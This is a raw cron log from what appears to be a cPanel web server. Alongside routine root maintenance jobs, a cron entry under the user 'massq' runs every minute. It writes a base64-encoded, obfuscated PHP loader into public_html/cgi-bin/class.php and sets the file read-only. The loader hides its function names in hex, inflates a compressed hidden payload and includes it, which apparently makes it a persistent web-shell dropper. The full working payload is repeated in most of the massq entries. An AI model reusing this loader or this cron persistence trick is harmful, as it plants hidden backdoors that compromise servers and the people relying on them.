Sep  5 06:35:01 server CROND[15211]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 06:35:01 server CROND[15201]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 06:35:01 server CROND[15202]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:36:01 server CROND[16047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:36:01 server CROND[16048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:36:01 server CROND[16049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:37:01 server CROND[16479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:37:01 server CROND[16480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:37:01 server CROND[16481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:38:01 server CROND[16859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:38:01 server CROND[16861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:38:01 server CROND[16860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:39:01 server CROND[17240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:39:01 server CROND[17239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:39:01 server CROND[17242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:39:01 server CROND[17241]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 06:40:01 server CROND[17776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:40:01 server CROND[17777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:40:01 server CROND[17782]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:40:01 server CROND[17783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:40:01 server CROND[17785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:40:01 server CROND[17784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:40:01 server CROND[17790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:40:01 server CROND[17787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 06:41:01 server CROND[18596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:41:01 server CROND[18597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:41:01 server CROND[18598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:42:01 server CROND[18968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:42:01 server CROND[18969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:42:01 server CROND[18970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:42:01 server CROND[18971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 06:43:01 server CROND[19361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:43:01 server CROND[19362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:43:01 server CROND[19363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:44:01 server CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:44:01 server CROND[19731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:44:01 server CROND[19732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:45:01 server CROND[20171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 06:45:01 server CROND[20172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:45:01 server CROND[20174]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 06:45:01 server CROND[20173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 06:45:01 server CROND[20175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:45:01 server CROND[20176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 06:45:01 server CROND[20180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:46:01 server CROND[21043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:46:01 server CROND[21044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:46:01 server CROND[21045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:47:01 server CROND[21408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 06:47:01 server CROND[21409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 06:47:01 server CROND[21410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 06:48:01 server CROND[21780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
